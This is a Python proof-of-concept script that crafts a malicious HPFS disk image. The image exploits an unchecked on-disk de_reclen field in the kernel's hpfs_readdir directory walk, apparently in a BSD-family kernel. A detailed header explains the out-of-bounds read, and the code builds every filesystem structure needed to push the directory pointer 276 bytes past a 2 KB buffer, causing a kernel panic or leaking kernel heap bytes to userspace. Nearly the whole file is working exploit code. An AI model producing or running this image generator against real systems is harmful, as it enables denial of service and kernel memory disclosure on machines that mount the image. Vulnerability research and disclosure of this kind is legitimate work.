#!/usr/bin/env python3
# mk_hpfs.py — Craft a minimal-but-valid HPFS image whose root directory
# block has a dep (hpfsdirent) chain that walks past the 2 KB bread buffer.
#
# Bug: sys/vfs/hpfs/hpfs_vnops.c hpfs_readdir() does
#   bread(devvp, dbtodoff(lsn), D_BSIZE=2048, &bp)   [:825]
#   dep = D_DIRENT(dp) = bp->b_data + sizeof(dirblk_t) (=20)   [:839]
#   while(!(dep->de_flag & DE_END)) {                [:882]
#       ...
#       dep = (hpfsdirent_t *)((caddr_t)dep + dep->de_reclen);   [:906]
#   }
# de_reclen is a u_int16_t taken straight off disk (attacker-controlled),
# and there is NO check that dep stays within [bp->b_data, bp->b_data+D_BSIZE).
# So a crafted dir block with a large de_reclen makes dep jump past the
# 2 KB buffer → either panic (unmapped page fault) or heap info-leak (OOB
# kernel bytes interpreted as de_name and emitted to userspace via
# hpfs_de_uiomove → vop_write_dirent → uiomove/copyout).
#
# Same defect in hpfs_lookup.c:96 and hpfs_subr.c:576/588.
#
# Layout (sector = 512 B):
#   16      SuperBlock  (SU_MAGIC, rootfno=30, btotal=100, bitmap.lsn1=40)
#   17      SpareBlock  (SP_MAGIC, sp_cpinum=0 → skip cpinit)
#   40      bmind[1]    (lsn of band-0 bitmap = 50)
#   50..53  band-0 bitmap (4 KB all-marked-used)
#   30      root fnode  (FN_MAGIC, fn_flag=1 → VDIR, al_leaf→dir block)
#   60..63  dir block   (D_MAGIC, single dep with de_reclen=0x0900, flag=0)
#
# Run: python3 mk_hpfs.py evil.hpfs
import struct, sys

SECTOR = 512
DISK_SECTORS = 200
img = bytearray(DISK_SECTORS * SECTOR)

SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE

ROOTFNO    = 30
BTOTAL     = 100
BMIND_LSN  = 40
BITMAP_LSN = 50
DIRBLK_LSN = 60

# ---- Sector 16: SuperBlock (struct sublock) ----
sub = bytearray(512)
struct.pack_into('<Q', sub, 0,  SU_MAGIC)
sub[8] = 3; sub[9] = 0
struct.pack_into('<H', sub, 10, 0)
struct.pack_into('<I', sub, 12, ROOTFNO)
struct.pack_into('<I', sub, 16, BTOTAL)
struct.pack_into('<I', sub, 20, 0)                       # badbtotal
struct.pack_into('<II', sub, 24, BMIND_LSN, BMIND_LSN)   # su_bitmap
struct.pack_into('<II', sub, 32, 0, 0)                   # su_badbl
struct.pack_into('<II', sub, 40, 0, 0)                   # chkdsk, dskopt
struct.pack_into('<I',  sub, 48, 0)
struct.pack_into('<I',  sub, 52, 0)
struct.pack_into('<I',  sub, 56, 0)
struct.pack_into('<I',  sub, 60, 0)
struct.pack_into('<I',  sub, 96, 0)                      # uidt
off = 16 * SECTOR; img[off:off+512] = sub

# ---- Sector 17: SpareBlock (struct spblock) ----
sp = bytearray(512)
struct.pack_into('<Q', sp, 0, SP_MAGIC)
struct.pack_into('<H', sp, 8,  0)
sp[10] = 0; sp[11] = 0
struct.pack_into('<I', sp, 12, 0)                        # sp_hf
struct.pack_into('<I', sp, 16, 0)                        # sp_hfinuse
struct.pack_into('<I', sp, 20, 0)                        # sp_hfavail
struct.pack_into('<I', sp, 24, 0)                        # sp_spdbavail
struct.pack_into('<I', sp, 28, 0)                        # sp_spdbmax
struct.pack_into('<I', sp, 32, 0)                        # sp_cpi
struct.pack_into('<I', sp, 36, 0)                        # sp_cpinum = 0
off = 17 * SECTOR; img[off:off+512] = sp

# ---- Sector 40: bmind[1] ----
struct.pack_into('<I', img, BMIND_LSN * SECTOR, BITMAP_LSN)

# ---- Sectors 50..53: band-0 bitmap (4 KB, all bits set) ----
bm = bytearray(2048)
for i in range(BTOTAL):
    bm[i // 8] |= (1 << (i % 8))
off = BITMAP_LSN * SECTOR; img[off:off+2048] = bm

# ---- Sectors 60..63: MALICIOUS dir block (D_BSIZE = 2048 bytes) ----
# dirblk_t { u32 d_magic; u32 d_freeoff; u32 d_chcnt; lsn_t d_parent;
#            lsn_t d_self; }  sizeof = 20
# Then hpfsdirent_t entries.  de_reclen at offset 0, de_flag at offset 2 —
# these two are at the same byte offset whether the kernel is 32- or 64-bit
# (de_reclen/de_flag are both u16 at the very start of the struct).
#
# We plant a single dep with:
#   de_reclen = 0x0900 (2304)  → dep advances from bp->b_data+20 to
#                                bp->b_data+2324, which is 276 bytes PAST
#                                the 2048-byte buffer.  This lands squarely
#                                in adjacent kernel heap.
#   de_flag   = 0x0000         → no DE_END (loop continues), no DE_SPECIAL
#                                (entry is emitted to userspace), no DE_DOWN
#                                (no recursive dive).  All other dep fields
#                                are zero, so de_namelen=0 → the first
#                                emitted entry has an empty name and is
#                                harmless; the OOB damage happens on the
#                                NEXT iteration when dep is already past
#                                the buffer.
DE_RECKEN = 0x0900
db = bytearray(D_BSIZE := 2048)
struct.pack_into('<I', db, 0,  D_MAGIC)
struct.pack_into('<I', db, 4,  0x30)                 # d_freeoff
struct.pack_into('<I', db, 8,  0)                    # d_chcnt
struct.pack_into('<I', db, 12, ROOTFNO)              # d_parent
struct.pack_into('<I', db, 16, DIRBLK_LSN)           # d_self
# dep at offset 20 (sizeof dirblk_t):
struct.pack_into('<H', db, 20, DE_RECKEN)            # de_reclen = 0x0900
struct.pack_into('<H', db, 22, 0x0000)               # de_flag = 0 (no DE_END)
# All other bytes of the dep and the rest of the block are already 0.
off = DIRBLK_LSN * SECTOR; img[off:off+2048] = db

# ---- Sector 30: root fnode ----
# Same layout as DF-0829 (natural-alignment kernel C struct).
# fn_ealen=0 (no DF-0829 EA bug).  fn_flag=1 (VDIR).  Allocation leaf
# points to the crafted dir block at DIRBLK_LSN.
fn = bytearray(512)
struct.pack_into('<I', fn, 0,  FN_MAGIC)
fn[16] = 0                                           # namelen
struct.pack_into('<I', fn, 32, ROOTFNO)              # fn_parent = self
struct.pack_into('<H', fn, 56, 0)                    # fn_ealen = 0 (clean)
fn[59] = 1                                           # fn_flag = VDIR
# alblk_t at fn_ab (offset 60):
struct.pack_into('<B', fn, 60, 0)                    # ab_flag = 0 (leaf)
struct.pack_into('<B', fn, 64, 0)                    # ab_freecnt
struct.pack_into('<B', fn, 65, 1)                    # ab_busycnt = 1
struct.pack_into('<H', fn, 66, 0x14)                 # ab_freeoff
# alleaf_t at fn_abd[0] (offset 68):
struct.pack_into('<I', fn, 68, 0)                    # al_off
struct.pack_into('<I', fn, 72, 1)                    # al_len
struct.pack_into('<I', fn, 76, DIRBLK_LSN)           # al_lsn → crafted dir
off = ROOTFNO * SECTOR; img[off:off+512] = fn

with open(sys.argv[1], 'wb') as f:
    f.write(img)
print(f"wrote {sys.argv[1]}: {len(img)} bytes, rootfno={ROOTFNO}, "
      f"dirblk_lsn={DIRBLK_LSN}, dep0 de_reclen={DE_RECKEN:#06x} "
      f"(jumps {DE_RECKEN} B from off 20 → {20+DE_RECKEN} = "
      f"{20+DE_RECKEN-2048} B past 2KB buffer)")
